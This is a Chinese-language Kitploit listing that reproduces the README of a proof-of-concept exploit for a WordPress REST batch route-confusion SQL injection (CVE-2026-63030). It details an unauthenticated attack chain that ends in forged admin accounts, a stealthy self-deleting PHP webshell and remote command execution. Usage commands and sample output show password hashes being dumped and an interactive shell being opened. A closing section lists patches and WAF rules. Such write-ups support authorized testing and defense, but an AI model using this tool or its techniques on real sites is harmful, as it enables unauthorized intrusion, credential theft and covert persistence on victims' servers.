Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-63030 — CVE-2026-63030 - WordPress REST 批量路由混淆 SQL 注入概念验证 | Kitploit
工具/GitHubGitHub/ch4120n/cve-2026-63030
漏洞扫描器漏洞利用Web安全渗透测试学习与教育
GitHubch4120n/cve-2026-63030

CVE-2026-63030

CVE-2026-63030 - WordPress REST 批量路由混淆 SQL 注入概念验证

查看仓库
2422个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-63030

WordPress REST 批量路由混淆 SQL 注入(CVE-2026-63030)概念验证
研究、漏洞利用开发与文档编写:Ch4120N

CVE Python License Status


⚠️ 法律声明

本仓库及随附工具(exploit.py)仅用于教育目的、经授权的渗透测试和安全研究。
在未事先获得明确书面同意的情况下,针对目标使用此漏洞利用程序属违法行为,并违反全球范围内的计算机欺诈与滥用法。作者(Ch4120N)对因使用本代码而产生的任何滥用、损害或法律后果概不负责。请始终在法律允许范围内操作,并获取适当授权。


📖 漏洞概述:CVE-2026-63030

CVE-2026-63030 是一个影响 WordPress REST API 的严重未认证漏洞。它利用了嵌套批处理端点(/wp-json/batch/v1 或 /?rest_route=/batch/v1)中的路由混淆缺陷。

根本原因

当 WordPress 处理一批 REST API 请求时,它会在执行前根据每个子请求的特定模式(schema)对其进行校验。然而,由于内部路由指针在处理刻意构造的畸形路径(例如 ///)时存在缺陷,校验模式与实际执行处理器之间会发生失步(desynchronized)。

攻击链

  1. 路由混淆与 SQL 注入: 攻击者注入嵌套批处理负载。失步导致针对 /wp/v2/users 端点(该端点不接受 author_exclude)的请求由 /wp/v2/posts 处理器执行。未经过滤的 author_exclude 参数被直接传入 WP_Query 的 author__not_in 子句,造成未认证 SQL 注入。
  2. 预认证管理员创建: 利用 SQLi 读取数据库并识别 oembed_cache 文章 ID。随后,漏洞利用程序使用 Customizer changeset 负载污染导航菜单缓存,诱使 WordPress 在现有管理员的上下文环境中执行用户创建请求。
  3. 远程代码执行(RCE): 借助新伪造的管理员账户,该工具进行身份验证,上传一个随机的、受令牌保护的 PHP webshell 插件,执行操作系统命令,并安全地清除所有痕迹。

受影响版本

  • WordPress 6.9.0 至 6.9.4
  • WordPress 7.0.0 至 7.0.1 (注意:较旧版本可能因特定插件配置和 REST API 向后移植而存在漏洞。)

🚀 功能特性

  • 零依赖: 100% Python 3 标准库,无需 pip install。
  • 单文件模块化: 所有组件(Client、SQLi、Exploit、Shell、CLI)均整齐地组织在一个可移植脚本(exploit.py)中。
  • 多技术 SQL 提取: 自动按最快可用方法依次回退:
    1. 基于 UNION: 通过伪造一个假的 WP_Post 行进行带内提取(每个值 1 个请求)。
    2. 基于报错: 若启用了 WP_DEBUG_DISPLAY,则利用 EXTRACTVALUE() XPATH 错误。
    3. 盲注(布尔/时间): 使用可配置的睡眠延迟进行二分搜索字符提取。
  • 自动化预认证桥接: 无需现有凭据;该工具可即时创建自己的管理员账户。
  • 瞬时 Webshell: 生成唯一的插件别名和密码学安全令牌。Shell 在没有令牌时拒绝执行,并在使用后自毁。
  • 自动清理: 退出时自动删除伪造的管理员账户并移除 webshell 插件目录。
  • 交互式 REPL: 提供伪终端,可维护远程工作目录状态(支持 cd)。

📦 安装与要求

无需第三方包。请确保已安装 Python 3.8 或更高版本。

# Clone the repository
git clone https://github.com/Ch4120N/CVE-2026-63030.git
cd CVE-2026-63030

# Make the script executable
chmod +x exploit.py

# Verify Python version
python3 --version
# Executing the script
python3 exploit.py

💻 详细用法与选项

该漏洞利用程序分为三个主要子命令:check、read 和 shell。

全局选项

以下选项适用于所有子命令:

选项描述默认值
url目标基础 URL(例如 http://target.com)必填
--rest-route使用 /?rest_route=/batch/v1 代替 /wp-json/batch/v1(适用于禁用固定链接的站点)。False
--timeoutHTTP 请求超时时间(秒)。30.0
--proxyHTTP/HTTPS 代理(例如 http://127.0.0.1:8080)。None

1. check - 漏洞检测

安全地探测目标,以确认路由混淆标记是否存在,并在不提取数据的情况下测试 SQLi 时序。

选项描述默认值
--sleep由 --confirm-sqli 回退使用的 SQL 时序延迟(秒)。3.0
--samples要测试的基线/延迟 SQL 时序对数量。3
--confirm-sqli发送一个主动的 SQLi 确认负载(会增加少许延迟)。False

2. read - 数据库提取

通过 SQL 注入直接从数据库提取数据。

选项描述默认值
--preset快速提取预设:fingerprint(版本/用户/数据库)或 users(登录名/哈希)。fingerprint
--query执行自定义标量 SQL 表达式(例如 "SELECT @@version")。None
--prefix数据库表前缀。wp_
--max-length每个值最多提取的字符数。128
--technique提取技术:auto、union、error 或 blind。auto

3. shell - 远程代码执行

部署 webshell 并执行命令。如果未提供凭据,它会自动触发预认证管理员创建桥接。

选项描述默认值
--user管理员用户名。(省略以使用预认证桥接)。None
--password管理员密码。(省略以使用预认证桥接)。None
--cmd要在目标上运行的单个命令。None
-i, --interactive部署后打开交互式 shell(REPL)。False

🖥️ 执行证据与示例

以下是该工具实际运行的示例。

示例 1:检查是否存在漏洞

$ python3 exploit.py check http://vulnerable-wordpress.local --confirm-sqli

[*] WordPress markers found (wp-content / wp-includes / wp-json)
[*] Public WordPress version hints:
    - 6.9.2 via REST API generator (exploit affected range) - WordPress 6.9.2
[!] A public version hint falls in the exploit affected range; verify internally or confirm with authorization.
[*] Batch probe -> HTTP 207; markers matched: parse_path_failed, block_cannot_read, rest_batch_not_allowed
[+] VULNERABLE — batch route-confusion behavior detected.
[*] Sending active SQLi confirmation payload...
[+] SQLi confirmed — UNION fake-post read returned data.

示例 2:提取数据库指纹

$ python3 exploit.py read http://vulnerable-wordpress.local --preset fingerprint --technique union

[+] UNION extraction available (in-band, one request per value) — using it.
[+] MySQL version: 10.6.12-MariaDB-0ubuntu0.22.04.1
[+] Database user: wp_user@localhost
[+] Database name: wordpress_db
[*] 3 request(s) sent.

示例 3:导出用户凭据

$ python3 exploit.py read http://vulnerable-wordpress.local --preset users --prefix wp_

[+] UNION extraction available (in-band, one request per value) — using it.
[*] 3 user(s) in wp_users.
    1|admin|$P$Bx8vT9qZ2mK5jL8nP3rY7wE1cV0xZ
    2|editor|$P$B9zX8vT2mK5jL8nP3rY7wE1cV0xZq
    5|subscriber|$P$Bx8vT9qZ2mK5jL8nP3rY7wE1cV0xZqZ
[*] 15 request(s) sent.

示例 4:获取交互式 Shell(预认证)

请注意该工具如何自动创建管理员账户、部署 shell,并在退出后清理痕迹。

$ python3 exploit.py shell http://vulnerable-wordpress.local --interactive

[!] This uploads a plugin containing a webshell to the target.
[!] No credentials supplied; attempting pre-auth administrator creation.
[*] Creating administrator through the SQLi-to-customizer bridge...
    Extracting table name...
    Finding source admin ID...
    Seeding oEmbed cache...
    Forging changeset payload...
[+] Administrator created: wp2_a8f3b2c1
[*] Authenticating as 'wp_a8f3b2c1'...
[+] Authenticated.
[*] Deploying webshell plugin...
[+] Webshell: http://vulnerable-wordpress.local/wp-content/plugins/wp_9f8e7d6c/wp_9f8e7d6c.php

[*] Interactive shell — type commands, 'exit' or Ctrl-D to quit.
/var/www/html $ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/var/www/html $ cd /tmp
/tmp $ cat flag.txt
FLAG{r0ut3_c0nfus10n_1s_d4ng3r0us}
/tmp $ exit

[*] Deleting generated administrator...
[+] Generated administrator removed from the target.
[*] Cleaning up webshell...
[+] Webshell removed from the target.

🧠 技术深度剖析

失步原理

该漏洞利用的核心依赖于注入 _DESYNC_PRIMER = {"method": "POST", "path": "///"}。这个无效 URL 会迫使 WordPress 的内部路由为第一个子请求生成一个 WP_Error。这会使内部指针发生偏移,导致第二个子请求按照一个模式进行校验,却由第三个子请求的处理器执行。由此将 author_exclude 参数偷偷传入 WP_Query 中。

UNION 伪造文章原语

该工具没有采用缓慢的盲注 SQLi,而是使用 UNION SELECT 注入一个完整构造的伪造 wp_posts 行。通过设置 orderby=none 和 per_page=500,它阻止 WP_Query 拆分查询。注入的 post_title 包含目标 SQL 表达式的十六进制编码结果,并使用 || 分隔符包裹,该结果会直接反映在 REST API JSON 响应中。

Webshell OpSec(行动安全)

部署的 PHP 插件专为高度隐蔽而设计:

  • 随机化的目录和文件名(例如 wp_a1b2c3d4.php)。
  • 通过 GET 参数要求提供 32 字符十六进制令牌(t)和命令(c)。
  • 使用 hash_equals() 防止针对令牌的时序攻击。
  • 自动切换目录(chdir)以防止路径泄露。
  • 输出使用 EXPLOIT::...::END 标记包裹,便于 Python 客户端干净地解析。

🛡️ 缓解与修复措施

  1. 更新 WordPress:立即升级到 WordPress 7.0.2 或更高版本,该版本包含针对 CVE-2026-63030 的补丁。
  2. 禁用批处理端点:如果不需要显式使用批处理端点,请通过 must-use 插件(mu-plugins)禁用它:
    add_filter( 'rest_request_before_callbacks', function( $response, $handler, $request ) {
        if ( $request->get_route() === '/batch/v1' ) {
            return new WP_Error( 'rest_disabled', 'Batch endpoint disabled', array( 'status' => 403 ) );
        }
        return $response;
    }, 10, 3 );
    
  3. Web 应用防火墙(WAF):实施规则以阻止:
    • URI 中包含 author_exclude 的嵌套 /batch/v1 请求。
    • URL 参数中包含 UNION、SLEEP() 或 EXTRACTVALUE 的请求。
    • REST API 请求中的类似 /// 的畸形路径。
  4. 禁用 WP_DEBUG_DISPLAY:确保 wp-config.php 中的 WP_DEBUG_DISPLAY 设置为 false,以防止基于报错的 SQLi 信息泄露。

📜 致谢与鸣谢

  • 漏洞研究与漏洞利用开发:Ch4120N
  • 概念灵感:WordPress REST API 路由混淆、oEmbed 缓存投毒与 Customizer changeset 原语。

“能力越大,责任越大。善用这些知识去防御,而不是去破坏。”
— Ch4120N

下载工具